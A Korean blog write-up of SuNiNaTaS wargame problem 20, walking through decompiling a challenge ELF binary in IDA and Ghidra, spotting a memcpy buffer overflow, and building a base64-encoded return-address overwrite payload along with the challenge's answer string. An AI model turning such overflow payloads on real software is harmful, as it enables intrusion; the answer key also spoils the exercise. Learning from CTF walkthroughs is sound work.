본문 바로가기

보안/[War Game] 써니나타스

써니나타스 20번 문제 풀이

20번 문제 화면.

힌트1 : “correct 함수가 호출될 수 있는 input 중 가장 짧은 것을 구하시오”
힌트2 : “이 문제는 프로그램이 실행되는 어떠한 시스템에서도 동일하게 풀려야합니다”

파일을 다운로드하고 압축을 풀어 살펴본다.

OllyDbg 110 버전으로는 열리지 않는다. 일반적인 실행파일이 아닌 듯하다.

바이너리로 이루어져 있다고 판단하여 디스 어셈블러 IDA v7.0.191002 (Freeware)와 Ghidra를 이용하여 파일을 분석해본다.

우선 IDA 다운로드하고 설치하였다.

https://www.hex-rays.com/products/ida/support/download_freeware.shtml

 

IDA Support: Freeware Version

 

www.hex-rays.com

 

IDA 프로그램에 좌측에는 다음 화면처럼 Function name 리스트가 있다.

Correct 함수를 text view에서 함수 이름 - 오른쪽 클릭 - Graph view를 눌러보기 좋게 바꾸어 본다.

코드를 살펴보면 어떤 값과 '0DEADBEEFh' 를 비교하여 같다면 "Congratulation! you are good!"이라는 문자가 출력되는 구조라 추측이 된다. 

여기서 dword ptr이란 4바이트씩 접근함을 의미한다.

해당 값을 문자열로 변환한 '3735928559'를 AUTH로 입력해보았지만 실패!

이 이후로 어떤 식으로 접근할지 한참을 헤매었다. 이다음은 풀이를 참고하여 진행하였다.


우선 'Ghidra'를 다운로드하였다.

디스 어셈블러로 가장 강력한 IDA Pro가 있지만 유료기 때문에 다른 대체 툴을 찾아보아야 했다. Ghidra는 작년 미국 NSA에서 무료로 공개한 오픈소스 디버거이다.

Ghidra에 대한 추가적인 내용은 위키피디아를 참고하였다.

기드라는 미국 국가 안보국에서 개발한 역 어셈블러 프레임워크이다. 기드라의 존재 자체는 위키리크스의 Valut7에서 처음 존재가 알려지게 되었다.[1] 그후 NSA에서 기드라를 오픈 소스로 공개하겠다고 하였으며[2], 2019년 3월 6일(한국시간) RSA 컨퍼런스에서 기드라를 발표하게 된다.[3]
기드라는 자바로 짜여져, 자바 런타임으로 구동되며, 발표장에서 NSA에서는 백도어가 없다고 밝혔다.[3]

 

파일을 다운로드하고 'ghidraRun.bat' 파일을 실행시키면 설치가 된다.

만약 JDK 가 설치되어있지 않았으면 다음과 같은 에러가 발생한다.

위와 같은 경우 오라클에 가입 후 JDK를 다운로드한다.

JDK를 설치하고 고급 시스템 설정에서 환경변수를 추가해줘야 한다.

윈도우 키를 눌러 '고급 시스템 설정 보기'를 입력한다.

 

 다음으로 환경 변수를 클릭한다.

시스템 변수에는 'JAVA_HOME'이라는 이름으로 설치한 jdk 경로를 입력한다.

버전명에 주의가 필요하다.

그 뒤에 사용자 변수 - 'Path'에 '%JAVA_HOME%\bin' 을 추가하고 다시 ghidraRun.bat을 설치한다.

 

멋있는 설치 파일 화면이 나온다. 이제 프로젝트를 새로 생성하고 'reverseme' 파일을 드래그 앤 드롭을 하면 'CodeBrowser'에서 어셈블러 코드와 디컴파일된 소스코드를 확인 할 수 있다.

위 화면은 파일을 드래그앤 드롭하였을 때 나타나는 화면이다. 파일이 Executable and Linking Format(ELF)인 것을 확인할 수 있다.

위키피디아를 참고하여 ELF가 무엇인지 살펴보면 다음과 같다.

ELF(Executable and Linkable Format)는 실행 파일, 목적 파일, 공유 라이브러리 그리고 
코어 덤프를 위한 표준 파일 형식이다. 1999년 86open 프로젝트에 의해 x86 기반 유닉스, 
유닉스 계열 시스템들의 표준 바이너리 파일 형식으로 선택되었다.

 

윈도우가 아닌 유닉스나 리눅스의 표준 바이너리 파일 형식이다.

인증키를 획득하기 위해서는 최종적으로 유닉스나 리눅스 환경이 필요하다고 추측된다.

OK를 누르면 'Code Browser'가 나타나고

왼쪽 위부터 'Program Trees' ,

함수 이름 리스트가 존재하는 'Symbol Tree',

어셈블리어를 볼 수 있는 'Listing',

선택한 함수의 소스코드를 볼 수 있는 'Decompile' 탭으로 나누어져 있다.

 

Decompile에서 main 함수의 코드를 살펴본다.

undefined4 main(int param_1, char** param_2, int param_3)
{
	uint uVar1;
	int iVar2;
	size_t sVar3;
	void* local_40;
	undefined local_3a[30];
	uint local_1c;
	uint local_18;
	int local_14;

	memset(local_3a, 0, 0x1e);	//30byte
	//param1 이 2보다 작고 parameter_2가 ./suninatas 이여야 한다.
	if ((param_1 < 2) && (iVar2 = strcmp(*param_2, "./suninatas"), iVar2 == 0)) {
		local_14 = 0;
		
		while (*(int*)(param_3 + local_14 * 4) != 0) {  //dword ptr이기 때문에 4바이트 단위 -> *4
			local_18 = 0;
			while (uVar1 = local_18, sVar3 = strlen(*(char**)(param_3 + local_14 * 4)), uVar1 < sVar3) {
				*(undefined*)(local_18 + *(int*)(param_3 + local_14 * 4)) = 0;
				local_18 = local_18 + 1;
			}
			local_14 = local_14 + 1;
		}
		printf("Authenticate : ");
		__isoc99_scanf(&DAT_080d9dd9, local_3a);
		memset(input, 0, 0xc); //12byte
		local_40 = (void*)0x0;
		local_1c = Base64Decode(local_3a, &local_40);  // 입력 시 Base64 encode로 
		if (local_1c < 0xd) {  //입력값이 13보다 작아야 함
			memcpy(input, local_40, local_1c);
			iVar2 = auth(local_1c);  //auth 함수에서 인증을 받으면 iVar2가 1이되어서 correct함수호출
			if (iVar2 == 1) { 
				correct();
			}
		}
	}
	return 0;
}

Auth 함수는 다음과 같다.

uint auth(size_t param_1) // decode된 입력 값 

{
  int iVar1;
  undefined local_18 [8];
  char *local_10;
  undefined auStack12 [8];
  
  memcpy(auStack12,input,param_1);
  local_10 = (char *)calc_md5(local_18,0xc); //입력값을 md5 해시 함수를 통해 해싱
  printf("hash : %s\n",local_10);
  iVar1 = strcmp("f87cd601aa7fedca99018a8be88eda34",local_10); //값 비교
  return (uint)(iVar1 == 0);
}

 Auth함수의 인자인 디코드 된 입력 값을 md5 해시 함수를 통해 해싱하고 이 값이 'f87cd601aa7fedca99018a8be88eda34' 이라면 1을 리턴할 것이다.

1을 만약에 리턴하였다면 correct 함수를 호출하게 되고 input의 첫 4바이트의 주소가 '0xDEADBEEF' 이라면 값이 풀리는 프로그램이다.

void correct(void)

{
  if (input._0_4_ == -0x21524111) { //input의 첫 4바이트가 0xdeadbbeef이여야 한다.
    puts("Congratulation! you are good!");
  }
                    /* WARNING: Subroutine does not return */
  _exit(0);
}

 지금까지 알아낸 것은 다음과 같다

1. 두 번째 parameter는./suninatas

2. 입력값은 Base64 인코딩 필요

3. 입력값의 첫 4byte는 '0xDEADBEEF'

4. 입력값은 총 12byte

5. auth 함수에서 Buffer Overflow 공격이 가능한 memcpy 함수 사용 


이제 윈도우 환경이 아닌 칼리 리눅스 환경에서 진행을 한다.

'./reverseme'로 실행시키면 아무런 반응이 없다.

revserme 파일을 'suninatas'로 변경한 후 './suninatas' 명령어를 통해 실행시켜본다.

 

같은 'AAAA' 문자를 넣어도 calc_md5 함수를 통해 다른 hash 값이 나타나는 것을 확인할 수 있다.

또한 총 12byte인 'AAAABBBBCCCC'를 인코드 한 문자를 입력하면 Segmentation fault가 출력되는 것을 확인할 수 있다.

힌트1 : “correct 함수가 호출될 수 있는 input 중 가장 짧은 것을 구하시오” 


correct 함수가 호출될 수 있는 input이 무엇일까 생각해본다.

우선 이 프로그램은 12byte를 입력하면 Segmentation fault가 나고 auth함수에서 memcpy라는 버퍼오버플로우에 취약한 함수를 사용한다.


때문에 8byte + 4byte = 12byte 구조를 만들어서 페이로드를 작성한다.

 

처음 4byte는 위에서 정리한 3번, 입력값의 첫 4byte는 '0xDEADBEEF' 이기 때문에

\xEF\xBE\xAD\xDE (Little Endian)이다


※  'echo -n I | od -to2 | head -n1 | awk '{print $2;}' | cut -c6' 명령어를 터미널에 입력하면 숫자가 출력되는데 1 - Little Endian, 0 - Big Endian 이 출력된다.


찾아야 하는 것은 Correct 함수가 호출될 수 있는 input 중 가장 짧은 것이다. 즉, input 함수의 주소를 찾아야 하기 때문에 return address를 input 함수의 주소로 덮어씌워야 한다.

마지막 4byte는 input함수의 주소이다.

IDA를 통해 주소 '0x0811C9EC' 를 확인하고 Little Endian으로 변환하면 \xEC\xC9\x11\x08 임을 알아낸다.

 

Correct 함수가 호출될 수 있도록 가운데는 Correct 함수의 주소를 찾아서 페이로드를 채운다.

마찬가지로 IDA를 통해 주소 '0x804925F' 를 확인하고 Little Endian으로 변환하여\x5F\x92\x04\x08임을 알아낸다.

 

페이로드는 정리 2번 Base64 encoding이 필요하기 때문에 인코딩하여 최종 페이로드를 작성하게 된다.

(python -c "import base64; print ase64.encodestring('\xEF\xBE\xAD\xDE'+'\x5F\x92\x04\x08'+'\xEC\xC9\x11\x08')"; cat) | ./suninatas

위 화면 처럼 공격이 성공하게 된다.

이제 입력한 Authenticate 값을 찾기 위해 칼리 리눅스에서 python을 실행시켜 어떤 값을 encoding 하여 입력하면 decoding 되어 정답이 되는지 확인한다.

페이로드를 인코딩 한 값은 776t3l+SBAjsyREI

최종적으로 다운로드한 프로그램에 Authenticate 값으로 776t3l+SBAjsyREI 값을 입력해보고 이상이 없음을 확인한다.

이 값을 Auth로 입력하면 이번 문제가 끝이 나게 된다.


사실 Segmentation fault 부분에서 gdb을 사용해서 어느 코드에서 Segmentation fault가 일어나는지 코드 구조를 살펴보고 공격코드를 작성해야 하는데 아직 실력이 많이 부족하여 어림짐작으로 문제를 풀어나갔다. 조금 더 깊게 공부하고 실습을 많이 해야겠다는 생각이 들었다.